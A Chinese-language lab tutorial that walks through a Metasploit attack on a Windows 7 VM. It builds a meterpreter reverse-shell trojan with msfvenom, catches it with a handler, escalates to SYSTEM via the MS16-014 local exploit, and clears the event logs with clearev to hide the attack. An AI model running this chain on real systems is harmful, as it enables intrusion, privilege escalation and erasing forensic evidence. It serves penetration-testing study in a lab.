本实验实现1:在攻击主机kali上,使用msfvenom工具,制作一个木马程序,并开启监听模块,对该木马程序进行实时监听,然后将这个木马程序发送给目标主机win7,一旦目标主机win7打开运行这个木马程序,则会立即被kali开启的监听模块监听到,并成功开启连接会话,最终攻击成功
本实验实现2:攻击成功后,想要在kali控制win7后,清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的,后发现权限不够的问题,则利用Windows内核漏洞进行提权操作,最终成功清除日志
在VMware上建立两个虚拟机:win7和kali
Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。
可以永久免费使用,基本上学黑客攻击必会用到这个系统
靶机:Win7 64位 (IP: 192.168.10.41)--用ipconfig进行查询
攻击机:Kali (IP:192.168.10.21)--用ifconfig进行查询
1、实验环境前提条件
win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)
保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)
$ping 192.168.10.41
2、制作木马程序
msfvenom是kali自带的制作木马的工具,是msfpayload和msfencode的结合体,我们可以利用msfvenom来制作木马程序,以实现在目标主机上执行,在攻击主机上监听这一系列的操作
$msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.21 LPORT=50000 -f exe -o openme.exe
重点关注5个参数配置:
-p:设置木马程序的攻击载体;
LHOST:本地监听的地址,就是谁来监听这个程序,也指回连地址,自然是kali的地址;
LPORT:本地监听地址的端口号,也指回连端口,即kali地址的端口号,理论上可随意设置,但范围不要
超过65535,且不可设置为常见的特殊的端口号;
-f:指定木马程序的格式为exe(可执行的程序文件);
-o:指定木马程序的文件名称;
结果:成功生成一个木马程序openme.exe,并保存于kali中的/home/kali目录下
【补充知识点:
1)端口号范围:0~65535
2)常见端口号列举
】
3、赋予木马程序可执行权限
为生成的木马程序openme.exe 赋予可执行的权限,权限被修改为777(可读可写可执行),如果有必要可以对该文件执行免杀
$chmod 777 openme.exe
结果:成功将openme.exe的权限修改为可读可写可执行
【补充知识点:
Linux系统中,每个用户的角色和权限划分的很细致也很严格,每个文件(目录)都设有访问许可权限,利用这种机制来决定某个用户通过某种方式对文件(目录)进行读、写、执行等操作;
操作文件或目录的用户,有3种不同类型:文件所有者、群组用户、其他用户。最高位表示文件所有者的权限值,中间位表示群组用户的权限值,最低位则表示其他用户的权限值。所以,chmod 777中,三个数字7分别对应上面三种用户,权限值都为7。
文件或目录的权限又分为3种:只读、只写、可执行。
依照上面的表格,权限组合就是对应权限值求和,如下:
7 = 4 + 2 + 1 读写运行权限
5 = 4 + 1 读和运行权限
4 = 4 只读权限
】
4、将木马程序发送给win7
将在kali中生成的木马程序openme.exe上传到win7中C盘根目录下,可使用upload命令实现文件的上传,具体操作,可参考我的另一篇文章《钓鱼网站+bypassuac提权》
结果:在win7中c盘根目录下发现传过来的木马程序openme.exe
注意:木马程序上传成功后,别忘了关闭当前已经连接的会话
因为为了实验上传木马程序开启的会话,此时已经没用了,所以,避免后续会话的混淆,建议关闭当前的会话连接
meterpreter>exit
结果:提示“192.168.10.41-Meterpreter session 1 closed”--已关闭对192.168.10.41的会话连接,,后续不会再查看到该会话,也不可以再次发起对该会话的连接
5、打开Metasploit渗透工具
Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端
$msfconsole
结果:成功进入,进入到"msf6>“的模式下
6、开启监听模块
直接打开一个监听的模块,能够反弹shell监听模块,进行攻击,进入模块中
>use exploit/multi/handler
结果:成功切换到这个模块之下--”msf6 exploit(multi/handler)>“
并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp
7、查看该监听模块所需的参数情况
进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数?
>show options
结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;
重点关注3个参数配置,需要设置哪个就设置哪个:
Payload:攻击载体;
LHOST:本地监听的地址,也指回连地址;
LPORT:本地监听地址的端口号,也指回连端口;
【补充说明:
1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
2)Payload模块主要有以下三种类型:-Single -Stager -Stage
Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。
Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。
【注意:Payload为windows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter为32位,
如果想将之后获取到的控制通道meterpreter改为64位,则设置payload为windows/x64/meterpreter/reverse_tcp】
8、设置攻击载体、本地监听地址以及端口号
因为我们要开启的这个监听模块,是专门针对于openme.exe木马程序,进行的实时监听,那么,必然需要将监听模块的参数配置,与openme.exe木马程序的参数配置保持一致,只有这样,才能达到准确的监听
之前制作openme.exe的参数为:
"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.21 LPORT=50000"
因此,我们也就需要将监听模块的攻击载体Payload,与木马程序的payload保持一致:
>set payload windows/x64/meterpreter/reverse_tcp
需要将监听模块的本地监听地址LHOST,与木马程序的LHOST保持一致:
>set LHOST 192.168.10.21
需要将监听模块的本地监听地址的端口号LPORT,与木马程序的LPORT保持一致:
>set LPORT 50000
9、再次进行检查
>show options
10、检查无误后,发起攻击
>run
结果:开启针对192.168.10.21:50000的监听模式,光标会停留在这,等待有用户打开运行openme.exe木马程序,从而有反馈信息回连到192.168.10.21:50000上来
11、打开木马程序
到win7中的C盘根目录下找到木马程序openme.exe,尝试去双击打开,即可触发会话连接,会尝试连接到监听模块中
结果1:在win7中打开该木马程序后,不会有任何的反馈结果
结果2:由于在win7中触发打开了木马程序openme.exe,那么,在kali中,则会被触发会话连接,监听模块中会显示有192.168.10.41(也就是目标主机)尝试打开运行了木马程序,最终,“meterpreter session 1 opened”--表明已经开通192.168.10.21:50000和192.168.10.41:49172的会话连接1
一般会自动进入控制通道meterpreter,交互模式,表明攻击成功
注意:
一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接
1)手动查看当前存在的会话
注意在目录msf>下,手动查看当前存在的会话
结果:当前只有会话连接1,meterpreter建立的连接类型type是x64--64位的(由模块中的payload设定),以及展示目标主机192.168.10.41的基本信息和连接信息
>sessions
2)选择连接当前已经开通的会话1
>sessions -i 1
结果:成功进入控制通道meterpreter,交互模式,表明攻击成功
12、实现清除日志操作
在kali控制win7后,想要清除win7中的应用程序日志、系统日志、安全日志,以达到抹去攻击痕迹的目的
12.1)查看未清除之前的win7的日志存储情况
在win7中,开始菜单栏中搜索“事件查看器”,并打开。在“事件查看器”中存有Windows日志,包含应用程序日志、系统日志、安全日志的大量数据
12.2)清除win7日志
meterpreter>clearev
结果:不能完全将win7中的日志清除,提示错误信息“operation failed:access is denied”----操作失败: 访问被拒绝
12.3)分析错误的原因
要考虑,访问被拒绝,是不是权限上的问题,一般来说,权限够的话,命令是不应该被拒绝,所以要考虑提权的问题。
【补充知识点:
windows系统中用户权限:
user【普通用户-张三】;
administrator【管理员用户】;
system【系统用户、虽不可登录,最高权限,但对系统有完整的控制权】;
Linux系统中用户权限:
user【普通用户】;
root【超级用户】;
】
13、利用Windows内核漏洞进行提权
考虑是权限不够的问题,尝试提权,常用的提权方式有,先利用bypassuac模块用来绕过Windows的UAC限制,然后再使用getsystem命令进行手动提权,可参考我的另一篇文章《钓鱼网站+bypassuac提权》
接下来,我们来看另一种提权的方式-利用Windows内核漏洞
【补充:
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构、平台(操作系统)、会话类型和所需默认选项提供建议。这样,可以极大的节省了攻击者的时间,省去了手动搜索local exploits的麻烦
但需要注意的有两点:一是,要使用local exploit suggester的话,前提必须已经在目标主机上获取到了一个控制通道会话meterpreter session,且在运行local exploit suggester之前,需要将现有的控制通道会话调到后台运行;二是,并不保证所有列出的local exploits都可用,还需要去尝试验证才行
】
13.1)查看当前权限
以上都是我们的分析,认为是权限的问题,那我们就来验证一下吧,进行当前权限的查看,看当前的权限到底是不是普通的权限啊,不是最高权限system
而且,我们还需认清一个事实,就是:在获得了session后,说明建立了至少一个会话了,我们可以通过连接会话,来获取控制通道meterpreter,但注意,这并不意味着我们就可以为所欲为了,必然是会有一个权限的问题,一般不会一上来就能获得最高的权限,所以,会有两种情况:获得system最高权限,或者是普通用户权限
meterpreter>getuid
结果:查看当前获得的用户的权限,只是普通用户权限”18044“,不是最高权限system
13.2)挂起当前会话
由于Windows内核漏洞提权操作,是依赖于在已经获得普通用户权限的基础上,进行提权,并最终获得一个新的会话连接(注意:新的会话连接得到的权限必为最高权限,无需再进行手动提权),所以至少要保留一个已成功开启的session会话连接,以供后续使用
因此,可以利用background进行返回,将利用木马程序攻击打开的控制通道meterpreter,在后台挂起,把当前的session会话1放入后台
meterpreter>background
结果:成功将session会话1挂起到后台,并没有断开连接,且成功切换到msf >目录下
13.3)检测目标主机可能存在哪些提权漏洞
利用post/multi/recon/local_exploit_suggester检测模块,检测目标主机win7可能存在哪些提权漏洞,就需要先进入这个检测模块中去
【注意:
使用该漏洞模块时,要注意meterpreter的位数,如果目标主机是64位的话,就必须使用64位的meterpreter,也就是说,由于我们实验的环境中,目标主机win7是64位的操作系统,所以,就要保证meterpreter建立的会话连接session 1的类型type也要是64位的,否则的话,会存在漏洞利用失败的问题
这也是为什么,最开始在制作木马程序时,设置的-p和设置监听模块中的payload,都将其中的攻击载体设置为x64的了(windows/x64/meterpreter/reverse_tcp),只有这样才能保证我们得到的session 1的meterpreter的类型是64位的
】
>use post/multi/recon/local_exploit_suggester
结果:成功切换到这个模块之下--”msf6 post(multi/recon/local_exploit_suggester)>“
13.4)查看该漏洞模块的参数情况
进到这个检测模块之后,先查看该模块的参数情况
>show options
结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;
仅有1个参数配置需要设置:
SESSION(已开启的会话连接);
13.5)设置已开启的会话连接
发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,我们肯定要设置一个已有的会话号吧,若是没有的会话,设置它也没法用,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了
>set SESSION 1
结果:设置成功
13.6)再次进行检查
>show options
结果:SESSION不为空,设置成功
13.7)检查无误后,发起攻击
>run
结果:检测出目标主机win7可能存在的提权漏洞都有哪些,一共检测出7个提权漏洞
exploit/windows/local/bypassuac_dotnet_profiler;
exploit/windows/local/bypassuac_sdclt;
exploit/windows/local/cve_2019_1458_wizardopium;
exploit/windows/local/cve_2020_1054_drawiconex_lpe;
exploit/windows/local/ms10_092_schelevator;
exploit/windows/local/ms16_014_wmi_recv_notif;
exploit/windows/local/tokenmagic;
注意:每个提权漏洞后面都有同一句提示“the target appears to be vulnerable;”-这个目标可能很脆弱
这就说明,都是可能存在能提权的漏洞,也有可能不存在,只能做一个参考,需要我们自己去手动尝试攻击验证,当然有可能成功,有可能不成功
13.8)尝试利用其中一个漏洞模块,进行攻击
利用其中一个漏洞攻击模块exploit/windows/local/ms16_014_wmi_recv_notif,进行攻击,进入模块中
>use exploit/windows/local/ms16_014_wmi_recv_notif
结果:成功切换到这个模块之下--”msf6 exploit(windows/local/ms16_014_wmi_recv_notif)>“
并提示“no payload configured,defaulting to windows/x64/meterpreter/reverse_tcp”--没有配置payload,默认为 windows/x64/meterpreter/reverse_tcp
13.9)查看该漏洞模块的参数情况
进到这个漏洞模块之后,先查看该模块的参数情况
>show options
结果:其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;
重点关注4个参数配置,需要设置哪个就设置哪个:
Payload(攻击载体-为windows/x64/meterpreter/reverse_tcp--要保证meterpreter建立的会话连接
session 1的类型type也要是64位的,前面提到过原因;
SESSION(已开启的会话连接);
LHOST(发起攻击的地址-kali地址);
LPORT(发起攻击的端口-使用默认获取的端口即可)
13.10)设置已开启的会话连接
其它(payload/LHOST/LPORT)均已获取,且正确。
发现仅SESSION为空,待设置,提示“the session to run this module on”-“运行此模块的会话”,所以,参数SESSION指的是已开启的会话连接,应设置成我们已有的session连接会话1,被我们挂起放在后台了
>set SESSION 1
结果:设置成功
13.11)再次进行检查
>show options
结果:SESSION不为空,其他各项也都没问题,设置成功
13.12)检查无误后,发起攻击
>run
结果:利用exploit/windows/local/ms16_014_wmi_recv_notif漏洞模块对目标主机win7发起了攻击,“meterpreter session 2 opened”--表明已经开通了192.168.10.21:4444和192.168.10.41:49176的新会话连接2
一般会自动进入控制通道meterpreter,交互模式,表明攻击成功
注意:
一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接
1)手动查看当前存在的会话
注意在目录msf>下
>sessions
结果:显示会话连接1和新生成的会话连接2,要分清两个会话,会话1是利用木马程序攻击目标主机win7成功打开的连接,会话2是利用Windows内核漏洞对已开启的会话1进行提权操作,而新生成的会话
2)选择连接当前已经开通的新会话2
【注意:就不要再连接会话1了,我们之前已经试过会话1,连接到控制通道,发现因权限不够,而操作失败。所以,要选择连接会话2,这是我们利用Windows内核漏洞,开启的新的会话连接,肯定要进到该会话中,才能实现成功提权的目的】
>sessions -i 2
结果:进入控制通道meterpreter,交互模式,表明攻击成功
13.13)查看当前权限
理论上,我们已经利用了Windows内核漏洞进行了提权,但鉴于使用的漏洞并不一定可以提权成功,所以需要进行验证
因此,进入控制通道后,先查看当前获得的用户权限
meterpreter>getuid
结果:成功获取到最高权限system,提权成功
14、再次进行清除日志操作
meterpreter>clearev
结果1:kali中提示清除成功,已成功删除Application(应用程序日志)的279项记录、System(系统日志)的1029项记录、Security(安全日志)的229项记录
结果2:win7中显示清除成功,再次打开或刷新“事件查看器”,发现在Windows日志中,存有的应用程序日志、系统日志、安全日志,已经清空